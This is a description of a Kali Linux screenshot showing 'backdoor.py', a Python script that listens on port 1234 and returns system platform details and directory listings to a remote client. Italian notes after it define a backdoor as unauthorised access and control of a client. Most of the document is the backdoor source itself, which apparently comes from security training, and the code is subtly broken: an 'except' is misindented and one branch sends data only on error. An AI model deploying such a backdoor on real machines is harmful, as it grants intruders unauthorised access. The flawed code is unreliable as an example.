

A screenshot of a Kali Linux terminal window. The window title is 'kali@kali: ~/Desktop/Python\_Samples'. The terminal shows the GNU nano 6.0 editor editing a file named 'backdoor.py'. The code is a Python script that listens on a specified address and port (1234). It accepts connections and responds to specific commands: '1' returns the system platform, '2' returns the directory listing, and '0' closes the connection. The script uses the socket module for network communication and the platform module for system information.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
        except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
            connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

La Backdoor è una vulnerabilità a livello di sicurezza, grazie alla quale un utente può entrare in un client in modo non autorizzato e prenderne il controllo.

Questo codice può essere utilizzato per creare una backdoor che permette di accettare connessioni in entrata, eseguire comandi sul sistema ospite e inviarle i dati al client.